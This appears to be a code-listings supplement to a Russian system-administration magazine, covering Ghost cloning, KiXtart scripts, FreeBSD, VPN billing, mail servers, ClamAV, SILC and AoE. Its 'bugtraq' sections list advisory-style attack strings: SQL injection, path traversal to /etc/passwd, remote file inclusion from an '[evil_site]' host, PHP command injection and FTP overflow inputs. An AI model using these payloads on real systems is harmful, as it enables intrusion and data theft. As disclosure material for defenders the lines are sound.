Symantec Ghost, или как сделать клон своими руками Михаил Платов # dd if=/dev/hda of=/home/hda count=32256 ibs=512 "c:\program files\symantec\ghost\incoming\netdom.exe" Join %computername% /domain:имя_домена /userD:Administrator@имя_домена/password:пароль /reboot ulti(0)disk(0)rdisk(0)partition(1)WINDOWS="XP Professional MP"/noexecute=optin /fastdetect/kernel=ntkrnlmp.exe/hal=halmacpi.dll ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 19 SEARCH TOPIC %08x.%08x.%08x.%08x SEARCH TOPIC %s%s%s user: ' or isnull(1/0) /* mail: [your_email] http://[target]/[path]/phpmyfaq/admin/footer.php? PMF_CONF[version]= http://[target]/[path]/phpmyfaq/admin/header.php? PMF_LANG[metaLanguage]="> http://[target]/[path]/phpmyfaq/index.php? LANGCODE=/../../../../[scriptname] http://[target]/[path]/phpmyfaq/index.php? LANGCODE=/../../ ../../../../etc/passwd%00 http://[target]/[path]/phpmyfaq/data/tracking[date] http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file] ----------------------------------------------------------------------------------------------------------------- Подключаем сетевые ресурсы в автоматическом режиме Иван Коробко $i=0 Do $Group = EnumGroup($i) $i=$i+1 Until Len($Group) = 0 Group=Right($Group, Len($Group)-InstrRev($Group,"\") $strADSQuery = "SELECT keywords, name, description, cn, uncname FROM '" +$domain_+"' WHERE objectClass='volume'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute "SELECT uname, keywords, description, cn FROM '" +$domain+"' WHERE objectClass='volume'" $rootDSE_ = GetObject("LDAP://RootDSE") $domain = "LDAP://" + $rootDSE_.Get("defaultNamingContext") $Value=$St.Fields("Field_Name").Value $Val_Array=$St.Fields("Field_Name").Value For Each $Val_Element in $Val_Array $Value=$Value+$Val_Element Next $st.Movefirst Do … $st.MoveNext Until $st.EOF $st.Movefirst Do $cn=$St.Fields("cn").Value $uncname=$St.Fields("uncname").Value $ds_s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds_s=$ds_s + $ds Next $keyw_s="" $kss=$St.Fields("keywords").Value for each $ks in $kss $keyw_s=$keyw_s+cstr($ks) Next … $st.MoveNext Until $st.EOF $st.Movefirst Do $ds_s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds_s=$ds_s + $ds Next use $ds_s+":" /delete /persistent $St.MoveNext Until $St.EOF ; элементами массива $usergroup_name[] являются группы, членами которых является текущий пользователь for $t=0 to ubound($usergroup_name) if instr($usergroup_name[$t],$group_b)<>0 ; критерием персонализации является членство ; в перечисленных группах PersonalGroup1…3 if instr(ucase($group_b),ucase("PersonalGroup1"))<>0 or instr(ucase($group_b),ucase("PersonalGroup2"))<>0 or instr(ucase($group_b),ucase("PersonalGroup3"))<>0 if instr($cn,@userid)<>0 use $ds_s+":" $uncname ? " !!!!" + $ds_s+":" $uncname if @error=5 ; ошибка доступа к ресурсу $error_code="1" $error_message=$error_message+"Не удалось подключить диск "+$ds_s+" к ресурсу "+$cn+chr(13) EndIf endif else use $ds_s+":" $uncname ? " !!!!" + $ds_s+":" $uncname if @error=5 ; ошибка доступа к ресурсу $error_code="1" $error_message=$error_message+"Не удалось подключить диск "+$ds_s+" к ресурсу "+$cn+chr(13) EndIf endif endif next $delay_size=3 $Q = @Ticks + $delay_size*1000 ; x – количество секунд задержки Do Until @Ticks >= $Q WriteValue(cstr($keyw_path+"\"+$temp1),"_LabelFromReg",cstr($keyw_s),"REG_SZ") $st.Movefirst Do $uncname=$St.Fields(«uncname»).Value … $keyw_path="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2" $uncname=Right($uncname,Len($uncname)-2) $keyw_array=split($uncname,»\») $temp1="#" For Each $ugu in $keyw_array $temp1=$temp1+"#"+$ugu Next WriteValue(cstr($keyw_path+"\"+$temp1),"_LabelFromReg",cstr($keyw_s),"REG_SZ") $st.MoveNext Until $st.EOF $keyw_s="Служебные файлы" For $c=1 to Len($keyw_s) $symbol= cstr(dectohex(Asc(Right(Left($keyw_s,$c),1))) Next $string=ucase(left(cstr(dectohex(Asc(Right(Left($keyw_s,$c),1)))),1)) $string2=ucase(right(cstr(dectohex(Asc(Right(Left($keyw_s,$c),1)))),1)) Select … Case instr(ucase($string),UCase("d"))<>0 $t=$t+cstr("2")+$string2 … End Select If $flag_S=0 Select Case instr(ucase($string),UCase("с"))<>0 $t=$t+cstr("1")+$string2 $flag_S=1 … EndSelect If $flag_S=0 $t=$t+cstr(dectohex(Asc(Right(Left($keyw_s,$c),1)))) endif If Asc(Right(Left($keyw_s,$c),1))>128 $t=$t+"04" Else $t=$t+"00" Endif For $r=1 to 32-len($keyw_s) $t=$t+cstr("00") Next WriteValue($keyw_path+"\"+$ds_s+"\_LabelFromReg","Cache", $t, "REG_BINARY") $r_w1=ReadValue($keyw_path+"\"+$ds_s+"\_LabelFromReg","version") WriteValue($keyw_path+"\"+$ds_s+"\_LabelFromReg","Version", $r_w1+1, "REG_DWORD") $r_w2=ReadValue($keyw_path+"\"+$ds_s+"\_GVI","version") WriteValue($keyw_path+"\"+$ds_s+"\_GVI", "Version",$r_w2+1, "REG_DWORD") If instr(ucase(@producttype), ucase("2000"))<>0 ………; сценарий для Windows 2000 Else If instr(ucase(@producttype), ucase("xp"))<>0 ………; сценарий для Windows XP EndIf EndIf start /wait kix32.exe script.kix ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 27 http://[target]:8000/cgi-bin/img.pl?f=../home/ emailswitch/code/ config/current.conf http://[target]:8000/cgi-bin/img.pl?f=../bin/ls| USER seth@@@@[...]@@@D@@@C@@@B@@@XXXX USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n ----------------------------------------------------------------------------------------------------------------- Управляем удаленными базами AIDE Часть II – AIDEstart Рашид Ачилов LDADD += -static # ldd chmod # aidestart -i # aidestart -u -n # aidestart -m -f /tmp/blabla.conf -5 loadbase() { $aidepath/rm -f $adbnam $aidepath/cp $aidebase/$adbnam.bz2 $adbnam.bz2 $aidepath/chown $abowner:$abgroup $adbnam.bz2 $aidepath/chmod $abmode $adbnam.bz2 $aidepath/bzip2 -d -q $adbnam.bz2 } ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 31 http://[target]/[path]/phpldapadmin/welcome.php? custom_welcome_page=http ://[evil_site]/cmd.gif http://[target]/[path]/phpldapadmin/welcome.php? custom_welcome_page=../../../../../../../../etc/passwd ----------------------------------------------------------------------------------------------------------------- Создаем загружаемый Flash-диск с FreeBSD и DOS Часть I Рашид Ачилов # fdisk /dev/da0 # disklabel da0s2 # /dev/da0s2: # dd if=/dev/da0 of=seitek2000.dsk count=2000 # dd if=seitek2000.dsk of=/dev/da0 # disklabel -w /dev/da0s2 # tunefs -p /dev/da0s1a # dd if=/dev/zero of=/dev/da0 bs=512 count=63 # newfs -O2 /dev/da0s2a # find -x /stand | cpio -pdum /mnt/umass/ufs # disklabel -B da0s2 # cd /usr/src # make kernel KERNCONF=Flash DESTDIR=/mnt/umass/ufs # cd /sys/modules # make all install DESTDIR=/mnt/umass/ufs # Device Mountpoint FStype Options Dump Pass# /dev/da0s2a / ufs rw 1 1 # touch /etc/fstab # less /etc/motd FreeBSD 5.4-RELEASE (Sentry) #3: Thu Jul 21 19:50:40 NOVST 2005 This is only LiveFlash maintenatce system. You should know, what you want to do. #less /etc/rc.conf rc_conf_files="/etc/rc.conf" tmpmfs="YES" # Создаем MFS для монтирования ее в /tmp tmpsize="20m" # Задаем ее размер 20 Мб varmfs="YES" # Создаем MFS для монтирования ее в /var varsize="32m" # Задаем ее размер 32 Мб # В сетевых интерфейсах только lo0, ни одной сетевой карты network_interfaces="lo0" hostname="usbflash" # Это просто наше имя firewall_enable="YES" # Да! Здесь есть firewall. Только он не запущен. firewall_type="open" log_in_vain="YES" tcp_drop_synfin="YES" tcp_extensions="YES" tcp_restrict_rst="YES" inetd_enable="NO" # Не запускать inetd sendmail_enable="NONE" # Не запускать sendmail вообще portmap_enable="NO" # Не запускать portmap font8x8="koi8-r-8x8" font8x14="koi8-r-8x14" font8x16="koi8-rb-8x16" keyrate="fast" keymap="ru.koi8-r" ldconfig_paths="/usr/lib/compat /usr/local/lib" # cd /var # ls -lo | grep empty # cd /var # chflags noschg empty # cd /var/db/pkg # pkg_create -b mc-4.6.0_11 setenv PKG_DBDIR /usr/share/db/pkg setenv PORTS_DBDIR /usr/share/db/ports # pkg_add mc-4.6.0_11.tgz # passwd root # dd if=/dev/da0 of=backup.dsk count=63 ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 41 [your_email],'or'a'='a'/*@hotmail.com http://[target]/al_initialize.php?alpath=ftp://[attacker]/ madrid"; system($HTTP_POST_VARS[cmd]); echo " http://[target]/[path]/setcookie.php?u=[username]%00 http://target]/[path]/pblang/setcookie.php? u=. ./../../../../etc/passwd%00 http://myserver:8889/reports/rwservlet?report=sqlinject3.rdf+userid=scott/tiger@ora9206+destype=CACHE+desformat=HTML+paramform=yes ----------------------------------------------------------------------------------------------------------------- Организуем доступ в Интернет с использованием биллинговой системы FreeNIBS Евгений Литвиненко // предельная скорость соединения, бит/с speed 115200 // подключаем файл с параметрами option /etc/ppp/options.pptpd // включаем отладочный режим debug // IP-адрес на стороне сервера. Используется для установки двухточечного соединения localip 192.168.100.1 // IP-адрес на стороне клиента. Указывается один адрес или диапазон адресов, один из которых выдается клиентскому // компьютеру при установке VPN-соединения. В данном примере выделяется диапазон адресов: 192.168.101.1-192.168.101.100 remoteip 192.168.101.1-100 nobsdcomp nodeflate refuse-pap refuse-chap require-mschap require-mschapv2 require-mppe имя_пользователя имя_сервера пароль IP-адрес test * 123 192.168.101.1 plugin radius.so plugin radattr.so client 127.0.0.1 { secret = testing123 shortname = localhost nastype = other } localhost testing123 server = "localhost" port = "3306" login = "freenibs" password = "password" #mysql -u root -p < nibs_mysql.sql #mysql -u root -p < nibs_mysql_prof_add.sql authorize_query_prof = "SELECT tos, do_with_tos, direction, fixed, fixed_cost, activation_time, total_time_limit, month_time_limit, week_time_limit, day_time_limit, total_traffic_limit, month_traffic_limit, week_traffic_limit, day_traffic_limit, total_money_limit, month_money_limit, week_money_limit, day_money_limit, login_time, huntgroup_name, simultaneous_use, port_limit, session_timeout, idle_timeout, allowed_prefixes, no_pass, no_acct, allow_callback, other_params FROM ${auth_table} WHERE user = '%{SQL-User-Name}'" pppd /usr/sbin/call-pppd kill_program = "${sbin_dir}/pppkill %{Framed-IP-Address}" apache ALL = NOPASSWD: /usr/sbin/pppkill # radiusd -X # echo "1" > /proc/sys/net/ipv4/ip_forward # iptables -F # iptables -A INPUT -p tcp -s ! 192.168.0.0/16 -d 195.5.28.227 --destination-port 3306 -j DROP # iptables -P INPUT ACCEPT # iptables -P OUTPUT ACCEPT # iptables -P FORWARD ACCEPT # iptables -A POSTROUTING -t nat -s $IP_REMOTE -o $PPP_MODEM -j SNAT --to-source внешний_ip_адрес # iptables -I POSTROUTING 1 -t nat -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1024 ----------------------------------------------------------------------------------------------------------------- «Бритва» для спама. Обзор анализатора Razor Сергей Супрунов # ls -la razor* # perl Makefile.PL PREFIX=/usr/local # make # make test # make install # razor-admin -home=/usr/home/serg/.razor -create # ls -l .razor # razor-admin -home=/usr/home/serg/.razor -register # razor-admin -create -conf=/usr/home/serg/.razor/razor-agent.conf # razor-check -home=/usr/home/serg/.razor ./serg :0 Wc | razor-check :0 Waf | formail -i "Subject: Razor Warning: SPAM/UBE/UCE" :0 Wc | razor-check :0 Waf | formail -A "X-Razor2-Warning: SPAM." :0 Wc | razor-check :0 Waf /home/foo/Mail/razor-caught ----------------------------------------------------------------------------------------------------------------- Настраиваем основные компоненты почтового сервера Евгений Литвиненко # apt-get install postfix postfix-mysql courier-imap courier-authdaemon-mysql fetchmail squirrelmail # mysql -u root -p myhostname = mail.net.lps mydomain = net.lps inet_interfaces = 127.0.0.1 virtual_mailbox_base = /opt/vmail virtual_mail_box = 50000000 virtual_alias_maps = proxy:mysql:/etc/postfix/ TNMailServer-Alias.cf user = postfix password = password hosts = localhost dbname = TNMailServer table = TNAccount select_field = ForwardAddress where_field = EmailAddress additional_conditions = and active=1 virtual_mailbox_domains = proxy:mysql:/etc/postfix/ TNMailServer-Domain.cf table = TNDomain select_field = Name where_field = Name virtual_mailbox_maps = proxy:mysql:/etc/postfix/ TNMailServer-Mailbox.cf table = TNAccount select_field = MailDirLocation where_field = EmailAddress virtual_mailbox_limit_maps = proxy:mysql:/etc/postfix/ TNMailServer-Quota.cf table = TNAccount select_field = Quota where_field = EmailAddress relay_host = gts.lg.ua # id apache virtual_minimum_uid = 96 virtual_uid_maps = static:96 virtual_gid_maps = static:96 AUTHMODULES = "authdaemon" authmodulelist="authmysql" DEFAULT_DOMAIN net.lps # имя обслуживаемого домена MYSQL_SERVER localhost # доменное имя сервера БД MYSQL_DATABASE TNMailServer # имя БД MYSQL_USERNAME courier # имя пользователя БД MYSQL_PASSWORD password # пароль MYSQL_OPT 0 MYSQL_USER_TABLE TNAccount # имя таблицы в БД # имя поля, содержащее адрес электронной почты MYSQL_LOGIN_FIELD EmailAddress MYSQL_NAME_FIELD FullName # полное имя пользователя MYSQL_CLEAR_PWFIELD Password # пароль на почтовый ящик # путь к каталогу, в котором хранится содержимое # почтовых ящиков MYSQL_HOME_FIELD '/opt/vmail' # путь к почтовому ящику относительно пути, указанного # в MYSQL_HOME_FIELD MYSQL_MAILDIR_FIELD MailDirLocation MYSQL_GID_FIELD '96' # идентификатор группы # идентификатор пользователя MYSQL_UID_FIELD '96' # максимальный размер ящика MYSQL_QUOTA_FIELD Quota # шаблон запроса MYSQL_QUERY_LASTREAD UPDATE TNAccount SET LastLogin=now() WHERE EmailAddress=’%s’ # telnet localhost 25 HELO net.lps MAIL FROM:"test1@net.lps" RCPT TO:"test2@net.lps" # telnet localhost 110 USER test2@net.lps PASS password RETR 1 QUIT set daemon 1200 poll gts.lg.ua with proto POP3 localdomains politex-college.lg.ua user 'politex' there with password 'password' to * here # chown fetchmail:fetchmail /etc/fetchmailrc # chmod 710 /etc/fetchmailrc # service имя_сервиса restart ----------------------------------------------------------------------------------------------------------------- Все ли возможности ClamAV вы используете? Андрей Авраменко # cd unrar # patch -p1 < unrar-3.4.3_fix.patch # make -f makefile.unix lib # install -s -D -m 755 libunrar3.so /usr/lib/libunrar3.so # install -D -m 644 dll.hpp /usr/include/libunrar3/dll.hpp # cd clamav-0.86.2 # patch -p1 < clamav.086.2-libunrar3.patch # aclocal # autoconf # automake # ./configure # make # make install # clamscan * X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* # clamscan virus.txt # !/bin/sh freshclam # ./configure --enable-milter # make # insmod dazuko.o # mknod -m 600 /dev/dazuko c `grep dazuko /proc/devices | sed "s/ .*//"` 0 # insmod dazuko.ko # mknod -m 600 /dev/dazuko c `grep dazuko /proc/devices | sed "s/ .*//"` 0 # /sbin/kldload ./dazuko.ko # mknod /dev/dazuko c 33 0 # ./configure # make proto # cp -ra samba-vscan-версия путь_к_исходникам_Samba/examples/VFS # cd путь_к_исходникам_Samba/examples/VFS/samba-vscan-версия # ./configure # gmake # gmake install # cp -a clamav/vscan-clamav.conf /etc/samba [vscan-directory] comment = virus-protected directory path = /tmp vfs object = vscan-oav vscan-clamav: config-file = /etc/samba/vscan-clamav.conf writeable = yes browseable = yes guest ok = yes clamd socket name = /var/lib/clamav/clamd.socket ----------------------------------------------------------------------------------------------------------------- Протокол SILC обеспечит вам безопасную конференц-связь Сергей Яремчук # tar xvjf silc-server-1.0.tar.bz2 # cd silc-server-1.0 # ./configure --sysconfdir=/etc/silc # silcd.conf # Этой строкой подключается файл, в котором описаны алгоритмы шифрования и прочее, что связано с закрытием # информации. Система настроена на максимальную безопасность, поэтому в сам файл лучше не лезть Include "/etc/silc/silcalgs.conf"; # General configuration options # Поведение сервера по умолчанию, некоторые параметры могут быть переопределены в ConnectionParams General { module_path = "/usr/local/silc/modules"; # Если используется аутентификация по паролю или по открытому ключу, преимущество имеет аутентификация # по открытому ключу. При снятии комментария преимущество будет иметь пароль # prefer_passphrase_auth = true; # Включает проверку (FQDN) для входящих соединений # require_reverse_lookup = true; # Максимальное количество соединений, принимаемых сервером, и с одного узла можно переопределить # ConnectionParams. connections_max = 1000; #connections_max_per_host = 10; # Интервал смены ключей соединения и канала #key_exchange_rekey = 3600; #channel_rekey_secs = 3600; # Включение смены ключей по более медленному, но безопасному протоколу Perfect Forward Secrecy (PFS) #key_exchange_pfs = true; # Время, по истечении которого закрывается соединение при неудаче смены ключей #key_exchange_timeout = 60; # Ограничение количества каналов, к которым может присоединиться клиент (по умолчанию 50). #channel_join_limit = 100; }; # Server information ServerInfo { # Имя сервера (FQDN) hostname = "silctest.com"; # Первичный адрес и порт, на котором сервер будет принимать соединения. Primary { ip = "192.168.0.1"; port = 706; }; # Другие интерфейсы прописываются отдельно. #Secondary { ip = "10.2.1.60"; port = 706; }; #Secondary { ip = "10.2.1.160"; port = 706; }; # Описание сервера ServerType = "Test Server"; Location = "Rovno, Ukraine"; # Имя администратора, e-mail администратора Admin = "Sergej A. Jaremchuk"; AdminEmail = "admin@silctest.com"; # Пользователь и группа, от имени которого будет работать сервер User = "nobody"; Group = "nobody"; # Местонахождение открытого и закрытого ключей PublicKey = "/etc/silc/silcd.pub"; PrivateKey = "/etc/silc/silcd.prv"; # Файл, в который записывается сообщение, получаемое клиентом при соединении MotdFile = "/etc/silc/motd.txt"; # Pid file PidFile = "/usr/local/silc/var/silcd.pid"; }; # Log files Logging { Timestamp = true; # Сюда заносятся информационные сообщения, если не снять комментарий с секций Warnings, Errors # и Fatals, то в эту секцию будут заноситься все сообщения сервера Info { File = "/usr/local/silc/logs/silcd.log"; Size = "100k"; }; # Warning messages #Warnings { # File = "/usr/local/silc/logs/silcd_warnings.log"; # Size = "50k"; #}; # Error messages #Errors { # File = "/usr/local/silc/logs/silcd_errors.log"; # Size = "50k"; #}; # Fatal messages #Fatals { # File = "/usr/local/silc/logs/silcd_fatals.log"; # Size = "50k"; #}; }; # Connection Parameters # Эта секция определяет специфические параметры связи, если какой-то параметр не использован, его значение # будет взято из General. Можно описать несколько секций, которые будут отличаться по уникальному имени, для того # чтобы указать индивидуальные параметры ConnectionParams { # Обязательное уникальное имя name = "normal"; connections_max = 200; }; # Configured client connections # Эта секция определяет параметры соединения клиентов. # Параметр «Host» позволяет указать IP-адрес или имя узла, с которого могут соединяться клиенты. Если он # отсутствует, с сервером могут соединяться все клиенты # # Опции Passphrase, PublicKey и PublicKeyDir указывают на используемую аутентификацию и местонахождение # необходимых файлов # # Секция ниже разрешает подсоединяться всем клиентам без аутентификации с параметрами связи, определенными # в ConnectionParams с именем normal Client { #Host = "10.1.*"; #Passphrase = "secret"; #PublicKey = "/path/to/the/user_my.pub"; #PublicKeyDir = "/path/to/keys/dir/"; Params = "normal"; }; # Configured server administrator connections # Секция описывает параметры соединения администратора Admin { Host = "192.168.0.20"; User = "grinder"; Nick = "grinder"; # Passphrase = "verysecret"; PublicKey = "/usr/local/silc/admin.pub"; }; # Configured server connections # Секция необходима, если ваш сервер является маршрутизатором, для обычных серверов она не нужна #ServerConnection { # Host = "10.2.1.7"; # Passphrase = "verysecret"; # PublicKey = "/path/to/the/public.pub"»; # Params = "normal"; # Backup = false; #}; # Configured router connections # Маршрутизатор, на который будет завязан сервер, для внутрикорпоративного можно не активировать #RouterConnection { # Host = "10.2.1.100"; # Port = 706; # Passphrase = "verysecret"; # #PublicKey = "/path/to/the/public.pub"; # Params = "normal"; # Initiator = true; # BackupHost = "10.2.1.6"; # BackupPort = 706; # BackupLocal = true; #}; # Denied connections # Здесь описываются соединения, которые будут отброшены # #Deny { # Host = "10.2.1.99"; # Reason = "Go away spammer"; #}; #Deny { # Host = "10.3.*"; # Reason = "You are not welcome."; #}; silcd -C /etc/silcd --identifier="UN=, HN=, RN=, E=, O=, C=" # /usr/local/silc/sbin/silcd -C /etc/silcd --identifier="UN=grinder, HN=silctest.com, RN=Sergej Jaremchuk, E=admin@silctest.com" # /usr/local/silc/sbin/silcd # ps -aux | grep silcd # netstat -a | grep 706 Active Internet connections (servers and established) ----------------------------------------------------------------------------------------------------------------- Устойчива ли ваша сеть? Проверьте с помощью WHoppix! Илья Александров knoppix lang=ru desktop=fluxbox screen=1024x768 XkbLayout "us,ru(winkeys)" # cp /mnt/hda1/etc/resolv.conf /etc # ./find-sploit Windows XP ----------------------------------------------------------------------------------------------------------------- Аккуратная настройка SSI Алексей Мичурин Название

Название


Содержимое страницы

# /usr/local/bin/sensors

Содержимое страницы

Название

Название


<--#else --> ERROR 999

Документ не доступен

Название

Название


Содержимое страницы

SetEnvIf Request_URI "\.inc$" ssi_part Deny from env=ssi_part SetEnv ssi_part Deny from env=ssi_part Deny from all SetEnvIf Request_URI "\.inc/" ssi_part <!--#echo var="page_name" -->



Содержимое страницы

AddHandler server-parsed .ssi AddType text/html .ssi Options +Includes ExpiresByType MIME-тип
секунды ExpiresByType text/html A3600 ExpiresByType text/html "access plus 1 hours" ExpiresDefault A3600 ExpiresByType image/gif "access plus 1 weeks" ExpiresByType image/jpeg "access plus 1 weeks" ExpiresByType image/png "access plus 1 weeks" 1: Options +Includes 2: AddHandler server-parsed .shtml 3: AddType text/html .shtml 4: AddHandler server-parsed .lshtml 5: AddType text/html .lshtml 6: AddHandler server-parsed .ssi 7: SetEnvIf Request_URI "\.inc$" ssi_part 8: SetEnvIf Request_URI "\.ssi$" ssi_part 9: SetEnvIf Request_URI "\.inc/" ssi_part 10: SetEnvIf Request_URI "\.ssi/" ssi_part 11: Deny from env=ssi_part 12: 13: ExpiresActive on 14: ExpiresByType text/html A3600 15: Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml ExpiresActive on ExpiresByType text/html A3600 Options +Includes AddHandler server-parsed .shtml AddType text/html .shtml SetEnv ssi_part Deny from env=ssi_part ----------------------------------------------------------------------------------------------------------------- Протоколы сетей хранения данных Часть I – ATA over Ethernet (AoE) Антон Борисов # wget aoe-2.4-3.tar.gz # tar xzvf aoe-2.4-3.tar.gz # cd aoe-2.4-3 # make && make install alias block-major-152 aoe alias char-major-152 aoe # wget vblade-5.tar.gz # tar xzvf vblade-5.tar.gz # cd vblade-5.tar.gz # make && make install # vblade 9 0 eth0 /dev/hda # fdisk /dev/etherd/e9.0 # /usr/sbin/aoe-stat # cat /dev/etherd/stat # vblade 9 0 eth0 /dev/hda1 # mount /dev/etherd/e9.0 /mnt/tmp